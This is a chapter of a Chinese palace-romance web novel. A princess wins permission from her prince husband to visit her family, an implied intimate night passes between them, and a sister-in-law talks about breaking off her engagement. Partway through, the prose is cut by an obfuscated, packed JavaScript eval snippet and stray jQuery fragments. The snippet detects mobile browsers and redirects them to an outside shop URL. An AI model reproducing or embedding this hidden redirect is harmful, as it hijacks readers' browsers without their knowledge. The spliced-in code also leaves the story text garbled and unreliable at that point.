约摸半个月了,萧吟一直没出过府。
王爷倒是体贴,除了每日上朝,余下都在府里陪着她。
正巧傍晚十分,小春归家,回来时也顺便带回了父亲的回信。
信中道,萧锦目前并无危险,南安王仍蛰伏,新岁时节南安王会携家眷归临安过节,届时寻个由头留下萧锦即可。
现下倒也无事,只是她的禁足何时能解?
她倒也不是想出府,只是想不想出和能不能出,这是两回事。
与其求皇上倒不如求王爷。
问过余娘,王爷正在书房作画,于是她沏上一壶茶便寻去了书房欲讨好王爷。
阿恪守在门口,见来人,忙行礼。
“王爷在吗?”
“在。”
阿恪敲了两下门,随后打开叫萧吟进去。
萧吟从柔儿手中接过茶盘,叫她在外等候,自己进去了。
不用说,柔儿自是不会进去的,站在外面还能多看几眼这个俊俏的小侍卫。
王爷画的认真,抬眼看看萧吟,便继续垂首作画。
“王爷。”萧吟奉上一盏茶,随即坐到他身边。
再往画卷上一瞧,王爷在画竹子,经过她的点拨,倒是进益不少。
九王爷轻抿一口那茶,顿觉口齿芳香。
正口干呢,她就送茶来了,真是及时雨。
“这是什么茶?”
“茉莉。”萧吟解答。
随后接过他手中的杯子,自己也饮上一口,点头品味:“的确好喝。”
“王妃不是来给我奉茶吗?怎么自己喝上了?”
“我泡的茶,我不能喝?”
萧吟故意跟他较劲,转而又倒上满满一杯,目视王爷,一脸挑衅的将那杯茶往自己口中送。
只是,还没等她咽下,那人便扑上来,从她口中将茶尽数渡走。
得逞后,他抬手擦去嘴角渗出的茶汤,扯唇肆意地笑,“王妃为本王泡的茶,只有本王能喝。”
“!”萧吟白了他一眼,偏过头去懒得理他。
不过自己默默消化一会儿,她还是要继续讨好王爷的,毕竟她有事相求。
“王爷。”萧吟又辗转开始为他捏肩,“王爷累不累呀!”
翻脸比翻书快。
“说吧,什么事?”九王爷一笑,就知道她是有备而来。
“什么时候能解了我的禁足?”她坦率直问,“还要关我多久?”
“其实......”九王爷琢磨了一会,坦白道:“父皇原话是,不叫你轻易出府,去何地都叫我跟着你,还有就是你我要少去将军府,去了也不可过夜。”
萧吟惊呆,这些话里面有禁足两个字吗?
所以皇上的儿子假传圣旨要不要砍头?
她接着咬牙继续问:“还有呢?”
九王爷摇摇头,“其余的没有了。”
“所以说根本就不是禁足?”萧吟气笑,“是你单方面把我禁足了?嗯?”
看她生气了,王爷语气也有些发颤:“前些日子城内的确有贼寇,所以为了安全才禁了你的足,否则你老是爱跑出去,还不知会本王一声。”
“......。”
“这几日你就睡书房吧。”
说罢萧吟转身就走了。
九王爷忙追上去。
......
左右也不是真的跟他生气,毕竟王爷的确是为了她好,也算情有可原。
只是,着实吓了她一大跳,还以为南安王就此要反了。
不过因祸得福,这件事闹成这样,也能叫阿姐有所提防。
只待新岁佳节,阿姐能顺利回来就好了。
想到这儿,她便勾了勾唇角。
瞧她面色缓和,王爷才敢往床上去。
忽的萧吟看向他,吓的他顿住步子,不敢轻举妄动。
谁知,预料的骂没骂下来,反而听到了蜿蜒柔软的一声:“夫君。”
“嗯?”九王爷抿抿唇,趁着她高兴赶紧爬上床去。
这还是二人成婚后,萧吟第一次喊他夫君,着实给他听美了。
能不美嘛,萧吟嗓子都快夹冒烟了。
“夫君啊~”萧吟近前攀上他的肩,在他耳边呢喃,“夫君明日陪我回家吧,我想阿爹阿娘了。”
虽然此刻迷离,但是九王爷仍记得父皇叮嘱。
起初皇上是要直接将萧吟禁足,以此以挟持萧则峰安分守己,不可与南安王往来,是九王爷求情,才改为无事不要去将军府,减少外出。
他也知晓萧吟想家,只是现下特殊时期......
“王爷~好不好嘛!”萧吟又对着他的唇啄了几下,见他无动于衷,便继续亲,嘴上还呢喃着:“好不好嘛,好不好嘛~”
“王爷最好了~”
“好......”九王爷顺势衔住她的唇......
不管其他,反正他相信,岳父大人肯定不会造反的。
吻了许久,二人分开。
“多谢王爷~”
目的达到,此刻萧吟声音也恢复如常,扯过被子躺下休息。
动作利落,一气呵成。
只留下王爷跪坐在那迟迟无法从刚才的旖旎中抽离。
后知后觉,他刚才只是被“美人计”迷惑了......
若做君王,他也一定是个昏君。
那——
今日就把这个“昏君”贯彻到底。
他掀开被子直接钻了进去。
在昏暗处,觉察不到其他,只能摸索。
待她气恼时,又迅速从被子里出来,堵住她欲骂的唇。
她生气,王爷怎么像泥鳅似的,骂也骂不出,一骂他,他就寻上来堵她的嘴,把她吻的失神又钻进被子去拨弄其他。
伸腿欲踹他,踹也踹不动。
这人还真是不知羞耻为何物。
就这么看着被子里拱起的一团,忙上忙下......
不等她脸红片刻,也被王爷拽进去。
折腾起来忘了情......
忽的,萧吟的头被撞到床头。
“梆”的一声,动静不小。
这才将两人的思绪拽回。
王爷立刻掀开被子,伸手去揉她的脑袋,道歉安抚。
“对不住,对不住。”瞧着眼角含泪的萧吟,王爷也后知后觉,着实有些过头了。
幸好头上有被子挡着,否则一定得撞出包来不可。
“没事。”萧吟擦去眼角泪水,冲他笑笑。
“没事,那继续。”
“......”
被子又被他扯上来,像是就等着她说这么句没事。
……
许久,许久......
她就犹如一片浮萍般,任由身下人肆意的带她去往天涯海角,探索未知。
——
二人就这么睡到了日上三竿。
睡懒觉的滋味太舒服,二人都窝在一处不愿起。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17891681|212765||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
/p>
最后的最后,实在耽误不得了,萧吟先起来了。
今日王爷答应了要陪她回将军府的,她起了又去扯王爷胳膊叫他起床。
辗转了一会儿,二人都收拾好了。
九王爷本想耍赖,赖个床看看她会不会忘却今日回府之事。
实在低估了她的归心似箭。
如此便也不敢耽搁了,的确答应了要带她回将军府,若是不回,恐怕萧吟得骂他:下床就翻脸不认人。
昨晚得了便宜,今日自是要满足王妃的心愿。
有道是“好借好还,再借不难。”
二人起的太晚,简单喝上两碗甜羹就出发了。
再晚就赶不上午膳了。
马车缓缓而行,萧吟忍不住挑窗观望。
今日归家匆忙,也没有差人提前通报。
到了将军府,萧则峰瞧见萧吟先是诧异,而后展开笑颜。
他迎上去,故作埋怨:“好久没回来了?是不是把爹娘都忘了?”
“没有,爹爹别冤枉人。”萧吟也上前挽住爹爹胳膊,先行入府。
萧吟被禁足,萧则峰自然知晓,只是在王爷面前,父女俩只能做戏,私寄信件一事自然不能叫王爷知道。
想想女儿被禁足,萧则峰心里是有些埋怨九王爷的,所以此番见到他也不似前两次热络。
九王爷便以为是萧吟久未归家,所以父女俩热衷寒暄,顾不上他,并不觉异常。
反观齐明月对他一直都是关照有佳,今日也不例外,瞧见他就热情相迎。
所以他也是有人疼的,至于岳父那份爱,可有可无~
二人回的晚,此刻正好能用午膳。
玉儿也是姗姗来迟。
近些日子家里又新收了几个铺面,账面银子算的她头疼,再加上萧麟时不时的要约她出去玩,脑子里简直一团乱麻。
她忽然感觉,自个答应这门亲事是不是冲动了些。
旁的不说,平日里忙的热火朝天,休沐只想躺着睡上个一整天,可萧麟精力充沛,休沐还要带她去野外爬山。
她拒绝,萧麟就不高兴,说什么她平日里就知道在铺子里忙,好不容易休沐还不陪他出门玩,还控诉着叫她二选一。
她真是有些筋疲力尽。
若真是叫她二选一,她一定不会犹豫,直接一脚把那萧麟踹的远远的。
算账打理铺面可比安慰男人简单多了。
看玉儿面色不佳,萧吟就悄声问她是不是太忙了,太累了?
“非也,店铺可比男人好打理多了。”
“因为我二哥?”
玉儿颔首,又愤然,“我都快被他烦死了,能退婚吗?”
“什么退婚?”齐明月闻听花容失色,忙追问:“玉儿,是不是他欺负你了?”
“不是。”玉儿颓丧摇头,“倒是我对不住他了。”
一桌人都搁下筷子,等着听她说。
“爹,娘,我若是退婚你们可会怪我?”
“不会。”萧则峰笃定,“不喜欢就再挑。”
齐明月也附和,“婚姻虽然讲究父母之命,可若是无缘分就不能强求,你若是想通了,母亲支持你。”
虽说支持,可齐明月心里还是暗暗伤神。
好不容易挨到萧则岭愿意叫儿子入赘,眼瞧着两个孩子相处的也不错,怎么就到了这一步呢?
听了父亲母亲各自表态,玉儿也安心了。
只是,午膳仍没用多少......